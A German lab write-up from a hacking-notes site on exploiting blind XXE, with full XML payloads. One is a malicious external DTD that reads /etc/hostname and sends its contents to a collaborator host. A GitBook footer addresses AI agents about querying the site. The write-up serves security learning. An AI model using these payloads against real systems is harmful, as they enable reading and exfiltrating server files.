> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).

# Blindes XXE zur Exfiltration über externe DTD

### Ausnutzung von Blind XXE zum Exfiltrieren von Daten mithilfe einer bösartigen externen DTD

Labor: Funktion **"Bestand prüfen"** das XML analysiert, aber **zeigt nicht** eingefügter Inhalt (blaues XXE / OOB). / Beobachtetes Verhalten: Der Parser akzeptiert eine DOCTYPE-Anweisung, die auf eine externe DTD verweist, und sendet Anfragen an sie.

Serverdaten lokal und unauffällig extrahieren (z. B. `/etc/hostname`), indem der XML-Parser gezwungen wird, eine bösartige externe DTD zu laden, die selbst die Datei liest und eine HTTP(S)-Anfrage an unseren Kontrollserver (Collaborator-/Exploit-Server) auslöst, die den ausgelesenen Inhalt enthält.

#### Beispiel-Payload, der an den Server gesendet wird (erster Aufruf, der die externe DTD einbezieht)

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://2777wjy7kmh9uyirsd64t7zomfs6gw4l.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

> Hinweis: Hier wird die externe DTD auf unserem Server (Exploit-Server) gehostet. Der Parser muss sie abrufen, damit der Angriff funktioniert.

<figure><img src="/files/01eaed24b6654eb07ab7db96dfb612c5f5ad8276" alt=""><figcaption></figcaption></figure>

#### Auf unserem Server platzierter schädlicher Inhalt (externe DTD)

Die vom Exploit-Server bereitgestellte DTD enthält Entitäten, die eine lokale Datei lesen und eine ausgewertete Entität erzeugen, die eine Anfrage an den Collaborator mit dem exfiltrierten Inhalt auslöst:

{% code overflow="wrap" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://pibu769uv9sw5lte30hr4uabx23urkf9.oastify.com?content=%file;'>">
%eval;
%exfil;
```

{% endcode %}

Kurz erklärt:

* `%file`: liest die `file:///etc/hostname` lokale Datei.
* `%eval`: konstruiert dynamisch eine neue `exfil` Entität, deren Wert eine URL ist, die auf unseren Exfiltrationsserver verweist und `%file` Inhalt als `Inhalt` Parameter auszunutzen.
* `%eval;` und `%exfil;` lösen die Expansion und eine ausgehende HTTP-Anfrage aus, die Daten enthält.

#### Vollständiges Beispiel (finaler Aufruf vom Angreifer an die verwundbare Anwendung)

{% code overflow="wrap" %}

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://exploit-0a230088031451be8148386401b600f9.exploit-server.net/exploit"> %myFile;]>

<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

* Die DTD unter `https://.../exploit` enthält die oben genannten bösartigen DTD-Definitionen.
* Wenn der Parser sich erholt und diese DTD auswertet, führt er schließlich eine HTTP-Anfrage an unseren De-Exfiltrationsserver mit `/etc/hostname` Inhalt aus.

<figure><img src="/files/d175bf80db7010e8fdb3be1e4967e75e06efd132" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xxe/blind-xxe-exfiltration-via-external-dtd.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
